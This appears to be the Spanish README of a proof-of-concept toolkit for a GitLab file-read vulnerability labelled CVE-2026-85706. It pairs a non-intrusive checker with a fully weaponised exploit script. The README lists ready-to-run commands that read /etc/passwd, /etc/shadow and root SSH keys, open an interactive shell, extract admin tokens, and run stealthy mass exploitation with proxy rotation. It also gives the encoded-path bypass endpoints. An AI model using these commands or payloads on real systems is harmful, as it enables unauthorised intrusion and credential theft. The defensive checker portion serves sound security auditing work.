CVE-2026-85706-PoC-Toolkit

Herramienta	Propósito	Usuario previsto
`exploit.py`	Kit de herramientas completamente armado con lectura de archivos no autenticada, enumeración de botín, extracción de tokens de administrador, escaneo masivo, shell interactivo, rotación de proxies, modo sigiloso y generación de informes en múltiples formatos.	Equipos rojos / pentesters autorizados
`safechecker.py`	Comprobador de vulnerabilidades no intrusivo que detecta la versión de GitLab, valida la exposición, audita las cabeceras de seguridad y evalúa el riesgo sin leer ningún archivo. Genera informes JSON/CSV/HTML.	Equipos azules / auditores de seguridad

Característica	`exploit.py`	`safechecker.py`
Detección de vulnerabilidades	✅	✅
Detección de versión	✅	✅
Lectura de archivos no autenticada	✅	❌
Enumeración de botín	✅	❌
Extracción de tokens de administrador	✅	❌
Shell interactivo	✅	❌
Escaneo masivo (multihilo)	✅	✅
Auditoría de cabeceras de seguridad	❌	✅
Comprobación de TLS/certificado	❌	✅
Mapeo MITRE ATT&CK	✅	✅
Soporte de proxy	✅	✅
Rotación de proxies	✅	❌
Rotación de User‑Agent (OPSEC)	✅	❌
Jitter / retardo (OPSEC)	✅	❌
Limitador de tasa adaptativo	✅	✅
Modo sigiloso	✅	❌
Suplantación de TLS con curl_cffi	✅	❌
Modo no intrusivo (seguro)	❌	✅
Salida JSON / JSONL / CSV / HTML	✅	✅
Salida a base de datos SQLite	✅	❌
Notificación por webhook	✅	✅
Diferencias con el escaneo anterior	✅	✅

Escenario	Herramienta recomendada
Equipo azul – verificar si su GitLab es vulnerable	`safechecker.py`
Auditoría de seguridad – evaluación de vulnerabilidades no intrusiva	`safechecker.py`
Equipo rojo – pruebas de penetración autorizadas con explotación completa	`exploit.py`
Bug Bounty – pruebas de divulgación responsable	`safechecker.py`
Escaneo masivo – comprobar múltiples objetivos en busca de vulnerabilidades	`exploit.py` (solo detección)
Respuesta a incidentes – comprobar si los sistemas están comprometidos	`safechecker.py`

Parámetro	Descripción
`-u, --url`	URL de un único objetivo (p. ej. `https://gitlab.example.com`)
`-f, --file`	Archivo que contiene la lista de objetivos (uno por línea)
`--pipe`	Leer objetivos desde stdin (pipeline de subfinder/httpx)
`--read`	Ruta(s) absoluta(s) a leer, separadas por comas
`--wordlist`	Archivo con rutas a leer (una por línea)
`--project-id`	Forzar un ID de proyecto específico
`--max-projects`	Máximo de IDs de proyecto a probar (predeterminado: 8)
`--auto`	Extraer automáticamente archivos de alto valor de GitLab
`--loot`	Igual que `--auto`
`--shell`	Shell interactivo tras la explotación
`--force`	Escanear incluso si la huella de GitLab es débil
`-t, --threads`	Hilos para múltiples objetivos (predeterminado: 8)
`--timeout`	Tiempo de espera HTTP (predeterminado: 15s)
`--retry`	Número de reintentos (predeterminado: 3)
`--retry-on`	Códigos HTTP para reintentar (predeterminado: 429,500,502,503,504)
`--proxy`	Proxy HTTP/HTTPS
`--proxy-list`	Archivo con proxies para rotación
`--proxy-rotate`	Estrategia de rotación: round-robin, random, sticky
`--jitter`	Añadir jitter aleatorio entre solicitudes
`--jitter-range`	Jitter mín,máx segundos (predeterminado: 0.1,2.0)
`--delay`	Retardo fijo entre solicitudes

Parámetro	Descripción
`-u, --url`	URL de un único objetivo (p. ej. `https://gitlab.example.com`)
`-f, --file`	Archivo con objetivos (uno por línea)
`-t, --threads`	Hilos para múltiples objetivos (predeterminado: 5)
`--timeout`	Tiempo de espera HTTP (predeterminado: 10s)
`--rate-limit`	Máximo de solicitudes por segundo (0 = ilimitado)
`--user-agent`	Cadena User-Agent personalizada
`--insecure`	Desactivar verificación TLS (riesgo de MITM)
`--webhook`	URL de webhook (slack:, discord:, telegram:)
`--diff`	Comparar con el JSON del escaneo anterior
`-v, --verbose`	Salida detallada
`-o, --output`	Archivo de salida JSON
`--csv`	Archivo de salida CSV
`--report`	Archivo de informe HTML
`--mitre`	Incluir mapeo MITRE ATT&CK (predeterminado: activado)

#	Escenario	Comando
1	Comprobación rápida de vulnerabilidad	`python safechecker.py -u https://gitlab.example.com`
2	Auditoría detallada con informe	`python safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v`
3	Auditoría masiva desde archivo	`python safechecker.py -f targets.txt -t 10 --rate-limit 5`
4	Exploit solo detección	`python exploit.py -u https://gitlab.example.com --safe-mode`
5	Leer un único archivo	`python exploit.py -u https://gitlab.example.com --read /etc/passwd`
6	Leer múltiples archivos	`python exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa`
7	Extracción automática de archivos de alto valor	`python exploit.py -u https://gitlab.example.com --auto`
8	Shell interactivo	`python exploit.py -u https://gitlab.example.com --shell`
9	Explotación masiva con sigilo	`python exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl`
10	Pipeline desde subfinder	`subfinder -d example.com -silent \| httpx -silent -sc \| python exploit.py --pipe --auto -o hits.jsonl`
11	Ataque completo con salida SIEM	`python exploit.py -u https://gitlab.example.com --auto --grep "password\|secret\|token" --mitre --json-schema -o siem.json`
12	Reanudar escaneo interrumpido	`python exploit.py -f targets.txt --auto --resume state.json`
13	Comparar dos escaneos	`python safechecker.py -f targets.txt -o new.json --diff previous.json`

Paso	Método	Endpoint	Descripción
1. Elusión	POST	`/api/v4/projects/{id}/repository/%63ommits`	La `c` codificada elude Workhorse
2. Elusión	POST	`/api/v4/projects/{id}/%72epository/commits`	La `r` codificada en repository
3. Elusión	POST	`/api/v4/projects/{id}/repository/commits/`	Elusión con barra final
4. Elusión	POST	`/api/v4/projects/{id}/repository/commits.json`	Elusión con sufijo de formato Grape
5. API de archivos	POST	`/api/v4/projects/{id}/repository/files/x`	Ruta alternativa

--stealth

🧰 Herramientas